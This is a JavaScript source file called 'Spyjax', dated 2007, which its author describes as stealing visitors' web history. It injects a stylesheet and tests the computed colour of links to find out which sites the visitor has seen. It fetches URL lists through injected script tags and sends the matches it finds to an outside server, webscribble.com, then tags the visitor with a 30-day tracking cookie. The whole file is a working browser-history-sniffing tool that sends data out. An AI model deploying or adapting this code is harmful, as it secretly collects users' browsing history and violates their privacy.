// Spyjax - Steals your web history!
// Author: Justin Laing
// Date: April 13th, 2007

var spyjax = {
	spyjax_div: null,
	found_div: null,
	status_div: null,
	numfound_span: null,
	link_holder: null,
	link: null,
	urls: null,
	hash: null,
	new_finds: null,
	page: 0,
	hit_id: 0,
	test_alt_urls: false,
	numfound: 0,
	count: 0,
	maxcount: 200000,
	debug: false,
	start_time: null,
	end_time: null,
	server: "http://www.webscribble.com/spyjax/",
	islinkvisited: null,
	is_cookie_set: false
};

spyjax.init = function(hash) {
	spyjax.start_time = (new Date()).getTime();
	
	spyjax.hash = hash;
	
	// see if we have a spyjax div
	spyjax.spyjax_div = document.getElementById('spyjax');
	if (spyjax.spyjax_div) {
		// setup internals of spyjax div
		spyjax.spyjax_div.innerHTML += "<div id='spyjax_content'><div id='spyjax_status'><div id='spyjax_stop'><a href='javascript: spyjax.stop();'>Stop</a></div><img src='./graphics/ajax-loader.gif' width='16' height='16' border='0'><div id='spyjax_status_text'>Starting</div></div><h2><span id='spyjax_numfound'>0</span> URLs found in your history</h2><div id='spyjax_found'></div></div><div id='spyjax_get'><a href='" + spyjax.server + "'>Get Spyjax</a></div>";
	}
	
	// insert the css so we can tell what links have been visited
	var oLink = document.createElement("link")
	oLink.href = spyjax.server + "css/spyjax.css";
	oLink.rel = "stylesheet";
	oLink.type = "text/css";
	document.getElementsByTagName("head")[0].appendChild(oLink);
	
	// create the spot where links will be placed
	spyjax.link_holder = document.createElement('div');
	spyjax.link_holder.id = "spyjax_linktester";
	document.body.appendChild(spyjax.link_holder);
	
	spyjax.link = document.createElement('a');
	spyjax.link.id = "spyjax_link";
	spyjax.link_holder.appendChild(spyjax.link);
	
	// create the linktest function based on browser ability
	if (spyjax.link.currentStyle) {
		spyjax.islinkvisited = function(url) {
			var link = document.createElement('a');
			link.href = url;
			spyjax.link_holder.appendChild(link);
			var color = link.currentStyle.color;
			spyjax.echo("<a href=\"" + link.href + "\">" + link.href + "</a> comparing currentStyle color: " + color + " to '#ff0000'");
			if (color == '#ff0000')
				return true;
			return false;
		}
	} else {
		spyjax.islinkvisited = function(url) {
			var link = spyjax.link;
			link.setAttribute("href",url);
			var computed_style = document.defaultView.getComputedStyle( link, null );
			spyjax.echo("<a href=\"" + link.href + "\">" + link.href + "</a> comparing computed color: " + computed_style.color + " to 'rgb(255, 0, 0)'");
			if (computed_style) {
				if (computed_style.color == 'rgb(255, 0, 0)')
					return true;
			}
			return false;
		}
	}
	
	if (spyjax.hascookie()) {
		spyjax.getoldurls();
		return;
	}
	
	spyjax.getmore();
};

/* Widget Stuff */
	spyjax.addfound = function(url) {
		if (!spyjax.spyjax_div) {
			return;
		}
		if (!spyjax.found_div) {
			spyjax.found_div = document.getElementById('spyjax_found');
		}
		spyjax.found_div.innerHTML += "<div class='found_url'><a href=\"" + url + "\">" + url + "</a></div>";
	};
	spyjax.setstatus = function(status) {
		if (!spyjax.spyjax_div) {
			return;
		}
		if (!spyjax.status_div) {
			spyjax.status_div = document.getElementById('spyjax_status_text');
		}
		spyjax.status_div.innerHTML = status;
	};
	spyjax.setnumfound = function(num) {
		if (!spyjax.spyjax_div) {
			return;
		}
		if (!spyjax.numfound_span) {
			spyjax.numfound_span = document.getElementById('spyjax_numfound');
		}
		spyjax.numfound_span.innerHTML = num;
	};

/* get urls to check and report visited urls */
	/* test a url */
	spyjax.urls = [];
	spyjax.work = function() {
		if (!spyjax.urls || spyjax.count > spyjax.maxcount) {
			spyjax.done();
			return;
		}
		
		spyjax.echo("checking id: " + id + " url: " + url);
		
		var urls_len = spyjax.urls.length;
		for (var i = 0; i < urls_len; i++) {
			var href = spyjax.urls[i];
			
			if (!href) {
				break;
			}
			
			var url = href.url;
			var id = href.id;
			
			spyjax.count++;
			var found_it = spyjax.islinkvisited(url);
			if (found_it) {
				spyjax.numfound++;
				spyjax.setnumfound(spyjax.numfound);
				if (!spyjax.new_finds) {
					spyjax.new_finds = "";
				}
				spyjax.new_finds += "," + id;
				spyjax.addfound(url);
			}
		}
		if (spyjax.count > spyjax.maxcount) {
			spyjax.done();
			return;
		}
		
		spyjax.setstatus(spyjax.count + " sleeping");
		window.setTimeout(spyjax.getmore,2000);
	};
	spyjax.requestreturn = function(urls,hit_id,page) {
		if (!spyjax.is_cookie_set) {
			spyjax.setcookie(hit_id);
			spyjax.is_cookie_set = true;
		}
		
		spyjax.page = page;
		spyjax.hit_id = hit_id;
		spyjax.urls = urls;
		
		if (!spyjax.urls || !spyjax.urls.length || spyjax.urls.length <= 0) {
			spyjax.done();
			return;
		}
		
		spyjax.work();
	};
	spyjax.getmore = function() {
		spyjax.setstatus(spyjax.count + " analyzing");
		var request_url = spyjax.server + "urls.php?hash=" + spyjax.hash + "&page=" + spyjax.page + "&cb=spyjax.requestreturn" + "&hit_id=" + spyjax.hit_id;
		if (spyjax.new_finds) {
			if (spyjax.new_finds.length>0)
				request_url += "&finds=" + spyjax.new_finds;
			spyjax.new_finds = "";
		}
		spyjax.create_xss(request_url); 
	};
	spyjax.done = function() {
		var request_url = spyjax.server + "urls.php?hash=" + spyjax.hash + "&done=1" + "&hit_id=" + spyjax.hit_id;
		if (spyjax.new_finds) {
			if (spyjax.new_finds.length>0)
				request_url += "&finds=" + spyjax.new_finds;
			spyjax.new_finds = "";
		}
		spyjax.create_xss(request_url); 
		
		spyjax.end_time = (new Date()).getTime();
		var time_diff = Math.round((spyjax.end_time - spyjax.start_time) / 1000);
		spyjax.echo("Found " + spyjax.numfound + " in " + spyjax.count + " urls in " + time_diff + " secs.");
		
		if (!spyjax.spyjax_div)
			return;
		
		var status = document.getElementById("spyjax_status");
		if (status) {
			status.innerHTML = "Checked " + spyjax.count + " URLs in " + time_diff + " seconds.";
		}
	};
	spyjax.getoldurls = function() {
		spyjax.hit_id = spyjax.getcookie();
		var request_url = spyjax.server + "urls.php?hash=" + spyjax.hash + "&getoldurls=1&hit_id=" + spyjax.hit_id;
		spyjax.create_xss(request_url); 
		
	}
	spyjax.spiedalready = function(urls) {
		spyjax.maxcount = 0;
		
		if (!spyjax.spyjax_div)
			return;
		
		if (urls && urls.length && urls.length > 0) {
			spyjax.numfound = urls.length;
			spyjax.setnumfound(spyjax.numfound);
			
			var urls_len = urls.length;
			for (var i = 0; i < urls_len; i++) {
				spyjax.addfound(urls[i]);
			}
		}
		
		var status = document.getElementById("spyjax_status");
		if (status) {
			status.innerHTML = "We already spied on you.";
		}
	};

/* cross site scripting using dynamic script node */
	spyjax.create_xss = function(url) {
		var script = document.createElement("script");
		script.type = "text/javascript";
		script.charset = "utf-8";
		script.src = url + '&noCacheIE=' + (new Date()).getTime();
		script.id = "spyjax_xss" + spyjax.page;
		document.getElementsByTagName("head")[0].appendChild(script)
	};
	
/* user stop control */
	spyjax.stop = function() {
		spyjax.maxcount = 0;
		spyjax.setstatus(spyjax.count + " stopping");
	}

/* debug */
	spyjax.echo = function(msg) {
		if (!spyjax.debug)
			return;
		var div = document.createElement("div");
		div.innerHTML = msg;
		document.body.appendChild(div);
	};
	
/* get set cookie */
	spyjax.setcookie = function(hit_id) {
		var today = new Date();
		today.setTime( today.getTime() );
		
		// expire in 30 days
		var expires = new Date( today.getTime() + (30 * 1000 * 60 * 60 * 24) ).toGMTString();
		
		document.cookie = "spyjax=" + hit_id + ";expires=" + expires;
	}
	spyjax.hascookie = function() {
		if (document.cookie.indexOf("spyjax=")==-1)
			return false;
		return true;
	}
	spyjax.getcookie = function() {
		var start = document.cookie.indexOf("spyjax=");
		if (start==-1)
			return null;
		var end = document.cookie.indexOf(";",start+7);
		if (end==-1)
			end = document.cookie.length;
		return unescape(document.cookie.substring(start+7,end));
	}